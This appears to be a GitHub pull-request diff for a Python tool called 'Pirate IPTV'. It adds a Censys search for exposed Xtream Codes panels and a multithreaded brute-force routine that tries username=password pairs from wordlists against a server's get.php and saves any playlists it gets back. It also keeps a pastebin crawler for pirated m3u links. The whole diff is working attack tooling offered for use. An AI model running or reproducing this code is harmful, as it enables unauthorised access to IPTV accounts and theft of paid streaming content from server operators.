Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 24 additions & 0 deletions iptv/censys.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
import sys
import json
import requests
from termcolor import colored


API_URL = ""
UID = ""
SECRET = ""

def censys(self, page=1):

if API_URL == "":
segale_rosso = colored ('[*]','red')
print (segale_rosso + " require The Censys API, https://www.censys.io/api ")
else:
q = "Xtream Codes v1.0.59.5 Copyright 2014-2015"
params = {'query' : q, 'page' : page}

res = requests.post(API_URL + "/search/ipv4", json = params, auth=(UID, SECRET))
payload = res.json()

for r in payload['results']:
print ("http://" + r["ip"])
76 changes: 65 additions & 11 deletions iptv/iptv.py
100644 → 100755
Original file line number Diff line number Diff line change
@@ -1,18 +1,41 @@
#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2, urllib, google, sys, os, time
import urllib2, urllib, google, sys, os, time , censys
from urlparse import urlparse
from sys import argv as s
from tqdm import tqdm
from termcolor import colored
import threading

def search_account_threading(threadname,URL,lista):
righe = open(lista ,'r')
directory = "output"
with open(lista) as f:
content = f.readlines()
print ("\r" +"[i] thread-"+str(threadname)+" started!")
for r in content:
req = urllib2.Request( URL + '/get.php?username=%s&password=%s&type=m3u&output=mpegts'%(r.rstrip().lstrip(),r.rstrip().lstrip()))
response = urllib2.urlopen(req)
the_page = response.read()

if len(the_page) > 0:
msg = ("[+] Account found!")
print (msg)
new_path = directory + "/" + URL.replace("http://", "")
if os.path.exists(new_path) is False:
os.makedirs(new_path)
out_file = open(str(new_path) + "/tv_channels_%s.m3u" % r.rstrip().lstrip(), "w")
out_file.write(the_page)
out_file.close()
print ("\r" +"[i] thread-"+str(threadname)+" finished!")

class IPTV(object):
def __init__(self, stdout=None, stderr=None):
self._stdout = stdout or sys.stdout
self._stderr = stderr or sys.stderr
self.lista = 'names.txt'
self.query = 'Xtream Codes v1.0.59.5'
self.query = 'Xtream Codes v1.0.59.5 Copyright 2014-2015'
self.directory = "output"
self.msg = "Pirate IPTV"
self.parsedUrls = ['']
Expand All @@ -35,6 +58,9 @@ def print_link(self):
time.sleep(1)
print '\n'.join(self.parsedUrls)

def search_censys(self):
censys_result = censys.censys(1)

def search_pastebin(self):
dork = "site:pastebin.com m3u sky .ts"
info_giallo = colored ('[i]','yellow')
Expand All @@ -48,21 +74,21 @@ def search_pastebin(self):
if s[1].find("/") == -1:
#print "[i] Downloading pastie: " + s[1]
raw_url = "http://pastebin.com/raw/" + s[1]

request = urllib2.urlopen(raw_url)
response = request.read()

f = open("output_p/"+s[1]+".m3u", "w")
f.write(response)
f.close()

def search_account(self,URL, b=1, bsize=1):
def search_account(self,URL,lista, b=1, bsize=1):
segale_rosso = colored ('[*]','red')
segale_verde = colored ('[*]','green')
print (segale_rosso + ' [CTRL + c] = [IPTV Attack Interrupted]')
t= tqdm()
last_b = [0]
righe = open( self.lista ,'r')
righe = open(lista ,'r')
tsize = len(righe.readlines())
TT = (str(tsize))
t.total = tsize
Expand Down Expand Up @@ -101,8 +127,12 @@ def menu():
print (due + " Brute force server")
tre = colored ('[3]','green')
print (tre + " Pastebin crawl")
quattro = colored ('[4]','red')
print (quattro + " Quit")
quattro = colored ('[4]','green')
print (quattro + " Censys Search")
cinque = colored ('[5]','green')
print (cinque + " Multi brute force")
sei = colored ('[6]','red')
print (sei + " Quit")
print
selection = input("Select an option: ")

Expand All @@ -111,15 +141,39 @@ def menu():
menu()

elif(selection==2):
server = raw_input("Server url: ")
app.search_account(server)
menu()
server = raw_input("Server url: ")
app.search_account(server)


elif(selection==3):
app.search_pastebin()
menu()


elif(selection==4):
app.search_censys()
menu()

elif(selection==5):
server = raw_input("Server url: ")
count = 1
threads = []
lists = ["part_list/a.txt","part_list/b.txt","part_list/c.txt","part_list/d.txt","part_list/e.txt","part_list/f.txt","part_list/g.txt","part_list/i.txt","part_list/l.txt","part_list/m.txt","part_list/n.txt","part_list/o.txt","part_list/p.txt","part_list/r.txt","part_list/s.txt","part_list/u.txt","part_list/z.txt"]

for listname in lists:
th = threading.Thread(target=search_account_threading, args=(count,server,listname))
threads.append(th)
count = count+1

for thread in threads:
thread.start()

for thread in threads:
thread.join()

menu()

elif(selection==6):
sys.exit(0)

else:
Expand Down
Loading